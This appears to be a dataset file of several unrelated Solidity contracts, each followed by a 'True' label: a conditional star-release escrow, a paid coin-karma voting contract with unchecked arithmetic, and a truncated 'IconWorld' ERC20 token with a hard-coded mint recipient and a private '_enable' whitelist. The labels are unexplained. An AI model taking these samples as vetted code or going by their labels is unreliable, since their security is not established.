// An arbitrary number of participants (in the form of Ethereum
// addresses) can be registered with the contract.
// Per participant, the contract stores a commitment. This structure
// contains the details of the stars to be made available to the
// participant, configured during registration. This allows for
// per-participant configuration of the amount of stars they receive
// per condition, and at what rate these stars get released.
//
// When a timestamp is set for a condition, the amount of stars in
// the batch corresponding to that condition is released to the
// participant at the rate specified in the commitment.
//
// Stars deposited into the contracts for participants to (eventually)
// withdraw are treated on a last-in first-out basis.
//
// If a condition's timestamp is equal to its deadline, participants
// have the option to forfeit the stars in the associated batch, only
// if they have not yet withdrawn from that batch. The participant will
// no longer be able to withdraw stars from the forfeited batch (they are
// to be collected by the contract owner), and the participant will settle
// compensation with the contract owner off-chain.
//
// The contract owner can register commitments, deposit stars into
// them, and withdraw any stars that got forfeited.
// Participants can withdraw stars as they get released, and forfeit
// the remainder of their commitment if a deadline is missed.
// Anyone can check unsatisfied conditions for completion.
// If, after a specified date, any stars remain, the owner is able to
// withdraw them. This saves address space from being lost forever in case
// of key loss by participants.
//
contract ConditionalStarRelease is Ownable, TakesPoints
{
using SafeMath for uint256;
using SafeMath16 for uint16;
// ConditionCompleted: :condition has either been met or missed
//
event ConditionCompleted(uint8 indexed condition, uint256 when);
// Forfeit: :who has chosen to forfeit :batch, which contained
// :stars number of stars
//
event Forfeit(address indexed who, uint8 batch, uint16 stars);
// maxConditions: the max amount of conditions that can be configured
//
uint8 constant maxConditions = 8;
// conditions: hashes for document proposals that must achieve majority
// in the polls contract
//
// a value of 0x0 is special-cased for azimuth initialization logic in
// this implementation of the contract
//
bytes32[] public conditions;
// livelines: dates before which the conditions cannot be registered as met.
//
uint256[] public livelines;
// deadlines: deadlines by which conditions must have been met. if the
// polls contract does not contain a majority vote for the
// appropriate condition by the time its deadline is hit,
// stars in a commitment can be forfeit and withdrawn by the
// CSR contract owner.
//
uint256[] public deadlines;
// timestamps: timestamps when conditions of the matching index were
// hit; or 0 if not yet hit; or equal to the deadline if
// the deadline was missed.
//
uint256[] public timestamps;
// escapeHatchTime: date after which the contract owner can withdraw
// arbitrary stars
//
uint256 public escapeHatchDate;
// Commitment: structure that mirrors a signed paper contract
//
// While the ordering of the struct members is semantically chaotic,
// they are ordered to tightly pack them into Ethereum's 32-byte storage
// slots, which reduces gas costs for some function calls.
// The comment ticks indicate assumed slot boundaries.
//
struct Commitment
{
// stars: specific stars assigned to this commitment that have not yet
// been withdrawn
//
uint16[] stars;
//
// batches: number of stars to release per condition
//
uint16[] batches;
//
// withdrawn: number of stars withdrawn per batch
//
uint16[] withdrawn;
//
// forfeited: whether the stars in a batch have been forfeited
// by the recipient
//
bool[] forfeited;
//
// rateUnit: amount of time it takes for the next :rate stars to be
// released
//
uint256 rateUnit;
//
// approvedTransferTo: batch can be transferred to this address
//
address approvedTransferTo;
// total: sum of stars in all batches
//
uint16 total;
// rate: number of stars released per unlocked batch per :rateUnit
//
uint16 rate;
}
// commitments: per participant, the registered purchase agreement
//
mapping(address => Commitment) public commitments;
// constructor(): configure conditions and deadlines
//
constructor( Azimuth _azimuth,
bytes32[] _conditions,
uint256[] _livelines,
uint256[] _deadlines,
uint256 _escapeHatchDate )
TakesPoints(_azimuth)
public
{
// sanity check: limited conditions, liveline and deadline per condition,
// and fair escape hatch
//
require( _conditions.length > 0 &&
_conditions.length <= maxConditions &&
_livelines.length == _conditions.length &&
_deadlines.length == _conditions.length &&
_escapeHatchDate > _deadlines[_deadlines.length.sub(1)] );
// install conditions and deadlines, and prepare timestamps array
//
conditions = _conditions;
livelines = _livelines;
deadlines = _deadlines;
timestamps.length = _conditions.length;
escapeHatchDate = _escapeHatchDate;
// check if the first condition is met, it might get cleared immediately
//
analyzeCondition(0);
}
//
// Functions for the contract owner
//
// register(): register a new commitment
//
function register( // _participant: address of the paper contract signer
// _batches: number of stars releasing per batch
// _rate: number of stars that unlock per _rateUnit
// _rateUnit: amount of time it takes for the next
// _rate stars to unlock
//
address _participant,
uint16[] _batches,
uint16 _rate,
uint256 _rateUnit )
external
onlyOwner
{
Commitment storage com = commitments[_participant];
// make sure this participant doesn't already have a commitment
//
require(0 == com.total);
// for every condition/deadline, a batch release amount must be
// specified, even if it's zero
//
require(_batches.length == conditions.length);
// make sure a sane rate is submitted
//
require( (_rate > 0) &&
(_rateUnit > 0) );
// make sure we're not promising more than we can possibly give
//
uint16 total = arraySum(_batches);
require( (total > 0) &&
(total <= 0xff00) );
// register into state
//
com.batches = _batches;
com.total = total;
com.withdrawn.length = _batches.length;
com.forfeited.length = _batches.length;
com.rate = _rate;
com.rateUnit = _rateUnit;
}
// deposit(): deposit a star into this contract for later withdrawal
//
function deposit(address _participant, uint16 _star)
external
onlyOwner
{
Commitment storage com = commitments[_participant];
// ensure we can only deposit stars, and that we can't deposit
// more stars than necessary
//
require( (_star > 0xff) &&
( com.stars.length <
com.total.sub( arraySum(com.withdrawn) ) ) );
// have the contract take ownership of the star if possible,
// reverting if that fails.
//
require( takePoint(_star, true) );
// add _star to the participant's star balance
//
com.stars.push(_star);
}
// withdrawForfeited(): withdraw one star, from _participant's forfeited
// _batch, to _to
//
function withdrawForfeited(address _participant, uint8 _batch, address _to)
external
onlyOwner
{
Commitment storage com = commitments[_participant];
// withdraw is possible only if the participant has forfeited this batch,
// and there's still stars there left to withdraw
//
require( com.forfeited[_batch] &&
(com.withdrawn[_batch] < com.batches[_batch]) &&
(0 < com.stars.length) );
// update contract state
//
com.withdrawn[_batch] = com.withdrawn[_batch].add(1);
// withdraw a star from the commitment (don't reset it because
// no one whom we don't trust has ever had control of it)
//
performWithdraw(com, _to, false);
}
// withdrawOverdue(): withdraw arbitrary star from the contract
//
// this functions as an escape hatch in the case of key loss,
// to prevent blocks of address space from being lost permanently.
//
// we don't bother with specifying a batch or doing any kind of
// book-keeping, because at this point in time we don't care about
// that anymore.
//
function withdrawOverdue(address _participant, address _to)
external
onlyOwner
{
// this can only be done after the :escapeHatchDate
//
require(block.timestamp > escapeHatchDate);
Commitment storage com = commitments[_participant];
require(0 < com.stars.length);
// withdraw a star from the commitment (don't reset it because
// no one whom we don't trust has ever had control of it)
//
performWithdraw(com, _to, false);
}
//
// Functions for participants
//
// approveCommitmentTransfer(): allow transfer of the commitment to/by _to
//
function approveCommitmentTransfer(address _to)
external
{
// make sure the caller is a participant,
// and that the target isn't
//
require( 0 != commitments[msg.sender].total &&
0 == commitments[_to].total );
commitments[msg.sender].approvedTransferTo = _to;
}
// transferCommitment(): make an approved transfer of _from's commitment
// to the caller's address
//
function transferCommitment(address _from)
external
{
// make sure the :msg.sender is authorized to make this transfer
//
require(commitments[_from].approvedTransferTo == msg.sender);
// make sure the target isn't also a participant again,
// this could have changed since approveCommitmentTransfer
//
require(0 == commitments[msg.sender].total);
// copy the commitment to the :msg.sender and clear _from's
//
Commitment storage com = commitments[_from];
commitments[msg.sender] = com;
delete commitments[_from];
}
// withdrawToSelf(): withdraw one star from the :msg.sender's commitment's
// _batch to :msg.sender
//
function withdrawToSelf(uint8 _batch)
external
{
withdraw(_batch, msg.sender);
}
// withdraw(): withdraw one star from the :msg.sender's commitment's
// _batch to _to
//
function withdraw(uint8 _batch, address _to)
public
{
Commitment storage com = commitments[msg.sender];
// to withdraw, the participant must have a star balance,
// be under their current withdrawal limit, and cannot
// withdraw forfeited stars
//
require( (com.stars.length > 0) &&
(com.withdrawn[_batch] < withdrawLimit(msg.sender, _batch)) &&
!com.forfeited[_batch] );
// update contract state
//
com.withdrawn[_batch] = com.withdrawn[_batch].add(1);
// withdraw a star from the commitment
//
performWithdraw(com, _to, true);
}
// forfeit(): forfeit all stars in the specified _batch, but only if
// none have been withdrawn yet
//
function forfeit(uint8 _batch)
external
{
Commitment storage com = commitments[msg.sender];
// ensure the commitment has actually been configured
//
require(0 < com.total);
// the participant can forfeit if and only if the condition deadline
// is missed (has passed without confirmation), no stars have
// been withdrawn from the batch yet, and this batch has not yet
// been forfeited
//
require( (deadlines[_batch] == timestamps[_batch]) &&
0 == com.withdrawn[_batch] &&
!com.forfeited[_batch] );
// update commitment metadata
//
com.forfeited[_batch] = true;
// emit event
//
emit Forfeit(msg.sender, _batch, com.batches[_batch]);
}
//
// Internal functions
//
// performWithdraw(): withdraw a star from _com to _to
//
function performWithdraw(Commitment storage _com, address _to, bool _reset)
internal
{
// star: star to withdraw (from end of array)
//
uint16 star = _com.stars[_com.stars.length.sub(1)];
// remove the star from the commitment
//
_com.stars.length = _com.stars.length.sub(1);
// then transfer the star
//
require( givePoint(star, _to, _reset) );
}
//
// Public operations and utilities
//
// analyzeCondition(): analyze condition number _condition for completion;
// set :timestamps[_condition] if either the condition's
// deadline has passed, or its condition has been met
//
function analyzeCondition(uint8 _condition)
public
{
// only analyze conditions that haven't been met yet
//
require(0 == timestamps[_condition]);
// if the liveline hasn't been passed yet, the condition can't be met
//
require(block.timestamp > livelines[_condition]);
// if the deadline has passed, the condition is missed, then the
// deadline becomes the condition's timestamp
//
uint256 deadline = deadlines[_condition];
if (block.timestamp > deadline)
{
timestamps[_condition] = deadline;
emit ConditionCompleted(_condition, deadline);
return;
}
// check if the condition has been met
//
bytes32 condition = conditions[_condition];
bool met = false;
// if the condition is zero, it is our initialization case
//
if (bytes32(0) == condition)
{
// condition is met if the Ecliptic has been upgraded
// at least once
//
met = (0x0 != Ecliptic(azimuth.owner()).previousEcliptic());
}
//
// a real condition is met when it has achieved a majority vote
//
else
{
// we check using the polls contract from the current ecliptic
//
met = Ecliptic(azimuth.owner())
.polls()
.documentHasAchievedMajority(condition);
}
// if the condition is met, set :timestamps[_condition] to the
// timestamp of the current eth block
//
if (met)
{
timestamps[_condition] = block.timestamp;
emit ConditionCompleted(_condition, block.timestamp);
}
}
// withdrawLimit(): return the number of stars _participant can withdraw
// from _batch at the current block timestamp
//
function withdrawLimit(address _participant, uint8 _batch)
public
view
returns (uint16 limit)
{
Commitment storage com = commitments[_participant];
// if _participant has no commitment, they can't withdraw anything
//
if (0 == com.total)
{
return 0;
}
uint256 ts = timestamps[_batch];
// if the condition hasn't completed yet, there is nothing to add.
//
if ( ts == 0 )
{
limit = 0;
}
else
{
// a condition can't have been completed in the future
//
assert(ts <= block.timestamp);
// calculate the amount of stars available from this batch by
// multiplying the release rate (stars per :rateUnit) by the number
// of :rateUnits that have passed since the condition completed
//
uint256 num = uint256(com.rate).mul(
block.timestamp.sub(ts) / com.rateUnit );
// bound the release amount by the batch amount
//
if ( num > com.batches[_batch] )
{
num = com.batches[_batch];
}
limit = uint16(num);
}
// allow at least one star, from the first batch that has stars
//
if (limit < 1)
{
// first: whether this _batch is the first sequential one to contain
// any stars
//
bool first = false;
// check to see if any batch up to this _batch has stars
//
for (uint8 i = 0; i <= _batch; i++)
{
// if this batch has stars, that's the first batch we found
//
if (0 < com.batches[i])
{
// maybe it's _batch, but in any case we stop searching here
//
first = (i == _batch);
break;
}
}
if (first)
{
return 1;
}
}
return limit;
}
// arraySum(): return the sum of all numbers in _array
//
// only supports sums that fit into a uint16, which is all
// this contract needs
//
function arraySum(uint16[] _array)
internal
pure
returns (uint16 total)
{
for (uint256 i = 0; i < _array.length; i++)
{
total = total.add(_array[i]);
}
return total;
}
// verifyBalance: check the balance of _participant
//
// Note: for use by clients that have not forfeited,
// to verify the contract owner has deposited the stars
// they're entitled to.
//
function verifyBalance(address _participant)
external
view
returns (bool correct)
{
Commitment storage com = commitments[_participant];
// return true if this contract holds as many stars as the participant
// will ever be entitled to withdraw
//
return ( com.stars.length ==
com.total.sub( arraySum(com.withdrawn) ) );
}
// getBatches(): get the configured batch sizes for a commitment
//
// Note: only useful for clients, as Solidity does not currently
// support returning dynamic arrays.
//
function getBatches(address _participant)
external
view
returns (uint16[] batches)
{
return commitments[_participant].batches;
}
// getBatch(): get the configured size of _batch
//
function getBatch(address _participant, uint8 _batch)
external
view
returns (uint16 batch)
{
return commitments[_participant].batches[_batch];
}
// getWithdrawn(): get the amounts of stars that have been withdrawn
// from each batch
//
function getWithdrawn(address _participant)
external
view
returns (uint16[] withdrawn)
{
return commitments[_participant].withdrawn;
}
// getWithdrawnFromBatch(): get the amount of stars that have been
// withdrawn from _batch
//
function getWithdrawnFromBatch(address _participant, uint8 _batch)
external
view
returns (uint16 withdrawn)
{
return commitments[_participant].withdrawn[_batch];
}
// getForfeited(): for all of _participant's batches, get the forfeit flag
//
function getForfeited(address _participant)
external
view
returns (bool[] forfeited)
{
return commitments[_participant].forfeited;
}
// getForfeited(): for _participant's _batch, get the forfeit flag
//
function hasForfeitedBatch(address _participant, uint8 _batch)
external
view
returns (bool forfeited)
{
return commitments[_participant].forfeited[_batch];
}
// getRemainingStars(): get the stars deposited into the commitment
//
// Note: only useful for clients, as Solidity does not currently
// support returning dynamic arrays.
//
function getRemainingStars(address _participant)
external
view
returns (uint16[] stars)
{
return commitments[_participant].stars;
}
// getConditionsState(): get the condition configurations and state
//
// Note: only useful for clients, as Solidity does not currently
// support returning dynamic arrays.
//
function getConditionsState()
external
view
returns (bytes32[] conds,
uint256[] lives,
uint256[] deads,
uint256[] times)
{
return (conditions, livelines, deadlines, timestamps);
}
}
|
True
|
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pragma solidity 0.4.21;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/*
____ _ _ __
/ ___|___ (_)_ __ ___ | |/ /__ _ _ __ _ __ ___ __ _ ___ ___ _ __ ___
| | / _ \| | '_ \/ __| | ' // _` | '__| '_ ` _ \ / _` | / __/ _ \| '_ ` _ \
| |__| (_) | | | | \__ \ | . \ (_| | | | | | | | | (_| | _ | (_| (_) | | | | | |
\____\___/|_|_| |_|___/ |_|\_\__,_|_| |_| |_| |_|\__,_| (_) \___\___/|_| |_| |_|
*/
contract CoinsKarmaFactory is Ownable {
event NewCoinsKarma(uint coinsKarmaId, string name, string symbol, uint totalKarmaUp, uint totalKarmaDown, bool exists);
event NewKarmaVoter(uint karmaVoteId, uint coinsKarmaId, address voterAddress, uint up, uint down, uint voteTime, bool exists);
struct CoinsKarma {
string name;
string symbol;
uint totalKarmaUp;
uint totalKarmaDown;
bool exists;
}
struct KarmaVotes {
uint coinsKarmaId;
address voterAddress;
uint up;
uint down;
uint voteTime;
bool exists;
}
CoinsKarma[] public coinkarma;
mapping(string => uint) coinsKarmaCreated;
mapping(string => uint) coinsKarmaMap;
KarmaVotes[] public karmavoters;
mapping(address => mapping(uint => uint)) karmaVoterCreated;
mapping(address => mapping(uint => uint)) karmaVoterMap;
uint giveKarmaFee = 1800000000000000; // CoinsKarma tries to keep this around $1 and checks regularly to make sure of that. CoinsKarma can change this fee with the alterGiveKarmaFee funciton.
/********************************* */
// karma functions
function viewCoinsKarma(uint _coinsKarmaId) view public returns (uint, string, string, uint, uint, bool) {
CoinsKarma storage coinskarma = coinkarma[_coinsKarmaId];
return (_coinsKarmaId, coinskarma.name, coinskarma.symbol, coinskarma.totalKarmaUp, coinskarma.totalKarmaDown, coinskarma.exists);
}
function viewCoinsKarmaBySymbol(string _coinSymbol) view public returns (uint, string, string, uint, uint, bool) {
CoinsKarma storage coinskarma = coinkarma[coinsKarmaMap[_coinSymbol]];
if (coinskarma.exists == true) {
return (coinsKarmaMap[_coinSymbol], coinskarma.name, coinskarma.symbol, coinskarma.totalKarmaUp, coinskarma.totalKarmaDown, coinskarma.exists);
} else {
return (0, "", "", 0, 0, false);
}
}
function viewKarmaVotes(uint _karmaVoteId) view public returns (uint, uint, address, uint, uint, uint, bool) {
KarmaVotes storage karmavotes = karmavoters[_karmaVoteId];
return (_karmaVoteId, karmavotes.coinsKarmaId, karmavotes.voterAddress, karmavotes.up, karmavotes.down, karmavotes.voteTime, karmavotes.exists);
}
function viewKarmaVotesBySymbol(string _coinSymbol, address _userAddress) view public returns (uint, address, uint, uint, uint, string) {
uint getCoinsId = coinsKarmaMap[_coinSymbol];
if (karmavoters[karmaVoterMap[_userAddress][getCoinsId]].exists == true) {
return (karmavoters[karmaVoterMap[_userAddress][getCoinsId]].coinsKarmaId, karmavoters[karmaVoterMap[_userAddress][getCoinsId]].voterAddress, karmavoters[karmaVoterMap[_userAddress][getCoinsId]].up, karmavoters[karmaVoterMap[_userAddress][getCoinsId]].down, karmavoters[karmaVoterMap[_userAddress][getCoinsId]].voteTime, _coinSymbol);
} else {
return (0, 0x0, 0, 0, 0, "");
}
}
function giveKarma(uint _upOrDown, string _coinName, string _coinSymbol) payable public {
require(msg.value >= giveKarmaFee);
uint upVote = 0;
uint downVote = 0;
if(_upOrDown == 1){
downVote = 1;
} else if (_upOrDown == 2){
upVote = 1;
}
uint id;
// see if coinName is already created, if not, then create it
if (coinsKarmaCreated[_coinSymbol] == 0) {
// create it
id = coinkarma.push(CoinsKarma(_coinName, _coinSymbol, 0, 0, true)) - 1;
emit NewCoinsKarma(id, _coinName, _coinSymbol, 0, 0, true);
coinsKarmaMap[_coinSymbol] = id;
coinsKarmaCreated[_coinSymbol] = 1;
} else {
id = coinsKarmaMap[_coinSymbol];
}
// see if this user has already given karma for this coin
if (karmaVoterCreated[msg.sender][id] == 0) {
// hasent, create new KarmaVote
uint idd = karmavoters.push(KarmaVotes(id, msg.sender, upVote, downVote, now, true)) - 1;
emit NewKarmaVoter(idd, id, msg.sender, upVote, downVote, now, true);
karmaVoterCreated[msg.sender][id] = 1;
karmaVoterMap[msg.sender][id] = idd;
coinkarma[coinsKarmaMap[_coinSymbol]].totalKarmaUp = coinkarma[coinsKarmaMap[_coinSymbol]].totalKarmaUp + upVote;
coinkarma[coinsKarmaMap[_coinSymbol]].totalKarmaDown = coinkarma[coinsKarmaMap[_coinSymbol]].totalKarmaDown + downVote;
}else{
// has, update KarmaVote
if (karmavoters[karmaVoterMap[msg.sender][id]].up > 0){
coinkarma[coinsKarmaMap[_coinSymbol]].totalKarmaUp = coinkarma[coinsKarmaMap[_coinSymbol]].totalKarmaUp - 1;
} else if(karmavoters[karmaVoterMap[msg.sender][id]].down > 0) {
coinkarma[coinsKarmaMap[_coinSymbol]].totalKarmaDown = coinkarma[coinsKarmaMap[_coinSymbol]].totalKarmaDown - 1;
}
karmavoters[karmaVoterMap[msg.sender][id]].up = upVote;
karmavoters[karmaVoterMap[msg.sender][id]].down = downVote;
karmavoters[karmaVoterMap[msg.sender][id]].voteTime = now;
coinkarma[coinsKarmaMap[_coinSymbol]].totalKarmaUp = coinkarma[coinsKarmaMap[_coinSymbol]].totalKarmaUp + upVote;
coinkarma[coinsKarmaMap[_coinSymbol]].totalKarmaDown = coinkarma[coinsKarmaMap[_coinSymbol]].totalKarmaDown + downVote;
}
}
/********************************* */
// admin functions
function viewGiveKarmaFee() public view returns(uint) {
return giveKarmaFee;
}
function alterGiveKarmaFee (uint _giveKarmaFee) public onlyOwner() {
giveKarmaFee = _giveKarmaFee;
}
function withdrawFromContract(address _to, uint _amount) payable external onlyOwner() {
_to.transfer(_amount);
}
}
|
True
|
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2171,
1010,
5164,
102
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/**
*/
/**
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract IconWorld is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
mapping(address=>bool) private _enable;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_mint(0xE22Bd0E75059079c27Eea8d7C6E85451880cFcd9, 100000000000000 *10**18);
_enable[0xE22Bd0E75059079c27Eea8d7C6E85451880cFcd9] = true;
// MainNet / testnet, Uniswap Router
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
_name = "Icon World";
_symbol = "Icon";
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
